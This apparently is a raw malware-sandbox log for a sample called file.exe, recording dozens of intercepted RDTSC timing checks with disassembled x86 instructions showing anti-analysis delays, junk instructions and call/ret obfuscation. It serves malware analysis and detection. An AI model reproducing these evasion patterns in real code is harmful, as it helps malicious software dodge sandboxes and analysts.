Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E61E second address: 96E689 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3F40513666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F3F40513668h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 and esi, dword ptr [ebp+122D37B7h] 0x0000002e jnc 00007F3F4051366Ch 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F3F40513668h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 00000015h 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 push 00000000h 0x00000052 movsx esi, cx 0x00000055 push eax 0x00000056 jl 00007F3F40513670h 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96EE47 second address: 96EE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3F40811B68h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96FAFD second address: 96FB8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F3F4051366Ch 0x00000010 pop edx 0x00000011 nop 0x00000012 mov dword ptr [ebp+122D29E1h], edi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007F3F40513668h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 jmp 00007F3F4051366Ch 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007F3F40513668h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 00000019h 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 jnp 00007F3F40513666h 0x0000005b push eax 0x0000005c pushad 0x0000005d jmp 00007F3F40513673h 0x00000062 push eax 0x00000063 push edx 0x00000064 jbe 00007F3F40513666h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970250 second address: 970254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970FCE second address: 970FD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970FD4 second address: 971034 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D1B2Eh], eax 0x00000011 jnl 00007F3F40811B57h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F3F40811B58h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 jnl 00007F3F40811B66h 0x00000039 push 00000000h 0x0000003b jl 00007F3F40811B5Ch 0x00000041 or dword ptr [ebp+1244C678h], ecx 0x00000047 push eax 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971034 second address: 971038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973AE7 second address: 973AED instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973AED second address: 973B00 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3F4051366Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924A7A second address: 924A80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974173 second address: 974177 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9751A2 second address: 97524C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F3F40811B58h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov bx, D923h 0x0000002b mov di, E0FFh 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F3F40811B58h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 0000001Dh 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b call 00007F3F40811B5Fh 0x00000050 jnl 00007F3F40811B63h 0x00000056 pop edi 0x00000057 push 00000000h 0x00000059 call 00007F3F40811B65h 0x0000005e pop ebx 0x0000005f mov bl, BBh 0x00000061 push eax 0x00000062 push ebx 0x00000063 push esi 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975432 second address: 975440 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F4051366Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975440 second address: 97546D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F3F40811B56h 0x00000009 jmp 00007F3F40811B69h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97546D second address: 975472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975472 second address: 975477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9743AB second address: 9743BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3F4051366Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9743BF second address: 9743C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 977361 second address: 977365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 977365 second address: 9773CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jg 00007F3F40811B56h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 mov dword ptr [esp], eax 0x00000017 xor dword ptr [ebp+122D57A4h], esi 0x0000001d push 00000000h 0x0000001f or ebx, 38D7F697h 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push edi 0x0000002a call 00007F3F40811B58h 0x0000002f pop edi 0x00000030 mov dword ptr [esp+04h], edi 0x00000034 add dword ptr [esp+04h], 0000001Bh 0x0000003c inc edi 0x0000003d push edi 0x0000003e ret 0x0000003f pop edi 0x00000040 ret 0x00000041 mov bl, DDh 0x00000043 mov edi, eax 0x00000045 push eax 0x00000046 pushad 0x00000047 jbe 00007F3F40811B5Ch 0x0000004d jne 00007F3F40811B56h 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 978421 second address: 97842B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3F40513666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97842B second address: 978452 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3F40811B62h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 978452 second address: 978458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 978511 second address: 978515 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9794DB second address: 9794F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3F40513674h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9794F8 second address: 9794FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9794FE second address: 979502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 979502 second address: 97953F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3F40811B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jc 00007F3F40811B59h 0x00000013 mov di, cx 0x00000016 push 00000000h 0x00000018 mov bl, cl 0x0000001a push 00000000h 0x0000001c jo 00007F3F40811B5Bh 0x00000022 and di, B6CAh 0x00000027 xchg eax, esi 0x00000028 jns 00007F3F40811B60h 0x0000002e pushad 0x0000002f jp 00007F3F40811B56h 0x00000035 pushad 0x00000036 popad 0x00000037 popad 0x00000038 push eax 0x00000039 pushad 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A56C second address: 97A570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97975B second address: 979766 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F3F40811B56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B53E second address: 97B542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B542 second address: 97B55D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B55D second address: 97B567 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F3F40513666h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A67A second address: 97A67E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A67E second address: 97A684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E94D second address: 97E953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E953 second address: 97E957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 981820 second address: 98182B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3F40811B56h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98182B second address: 9818C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40513678h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a ja 00007F3F4051366Eh 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F3F40513668h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b mov ebx, eax 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007F3F40513668h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 jmp 00007F3F40513679h 0x0000004e push 00000000h 0x00000050 pushad 0x00000051 mov edi, dword ptr [ebp+122D2C43h] 0x00000057 mov al, E0h 0x00000059 popad 0x0000005a xchg eax, esi 0x0000005b push ebx 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9818C3 second address: 9818C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9818C7 second address: 9818CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9818CB second address: 9818D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980A01 second address: 980A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 981B44 second address: 981B59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jc 00007F3F40811B62h 0x0000000d jo 00007F3F40811B5Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982944 second address: 98294F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F3F40513666h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98294F second address: 982972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3F40811B69h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987BC8 second address: 987BDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F4051366Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987BDB second address: 987BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F3F40811B56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B5E5 second address: 98B635 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3F40513666h 0x00000008 jnc 00007F3F40513666h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F3F40513678h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 jmp 00007F3F40513670h 0x0000001d jmp 00007F3F40513673h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B7E3 second address: 98B80C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3F40811B56h 0x0000000a jp 00007F3F40811B56h 0x00000010 ja 00007F3F40811B56h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F3F40811B5Eh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E0DF second address: 98E0E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E0E5 second address: 98E135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3F40811B58h 0x0000000a push esi 0x0000000b pop esi 0x0000000c jnp 00007F3F40811B7Bh 0x00000012 jmp 00007F3F40811B67h 0x00000017 jmp 00007F3F40811B5Eh 0x0000001c popad 0x0000001d pushad 0x0000001e jmp 00007F3F40811B63h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 pop eax 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E135 second address: 98E13B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E13B second address: 98E153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F3F40811B5Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99895B second address: 998983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jmp 00007F3F4051366Ah 0x0000000d jmp 00007F3F40513675h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998983 second address: 9989B6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3F40811B5Eh 0x00000008 pushad 0x00000009 jnp 00007F3F40811B56h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F3F40811B68h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9976C2 second address: 9976F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40513671h 0x00000007 jnp 00007F3F40513666h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F3F40513673h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99838E second address: 99839A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3F40811B56h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99839A second address: 9983B0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3F4051366Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F3F40513666h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9983B0 second address: 9983B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998538 second address: 99853D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99853D second address: 998545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998545 second address: 998563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jmp 00007F3F40513673h 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998563 second address: 998573 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F3F40811B56h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998573 second address: 998579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99881D second address: 998821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D1CD second address: 99D1D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D1D1 second address: 99D1D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969045 second address: 94E12C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40513672h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push edi 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop edi 0x00000010 jnl 00007F3F4051367Fh 0x00000016 popad 0x00000017 nop 0x00000018 call dword ptr [ebp+122D2B6Eh] 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push edi 0x00000023 pop edi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96920E second address: 969212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969212 second address: 969218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96999A second address: 96999F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A46B second address: 96A487 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40513671h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A487 second address: 94EC97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 nop 0x00000007 mov di, 600Eh 0x0000000b xor edx, dword ptr [ebp+122D35FFh] 0x00000011 lea eax, dword ptr [ebp+1247AD36h] 0x00000017 sub dword ptr [ebp+122D1B65h], esi 0x0000001d push eax 0x0000001e jng 00007F3F40811B64h 0x00000024 mov dword ptr [esp], eax 0x00000027 jmp 00007F3F40811B62h 0x0000002c call dword ptr [ebp+122D21EFh] 0x00000032 jns 00007F3F40811B62h 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d push edi 0x0000003e pop edi 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EC97 second address: 94EC9D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EC9D second address: 94ECA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C3B1 second address: 99C3B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C3B5 second address: 99C3E5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3F40811B66h 0x0000000d jmp 00007F3F40811B62h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A4AF second address: 94EC97 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3F40513666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F3F40513672h 0x00000012 call dword ptr [ebp+122D21EFh] 0x00000018 jns 00007F3F40513672h 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 push edi 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C679 second address: 99C680 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C988 second address: 99C98E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
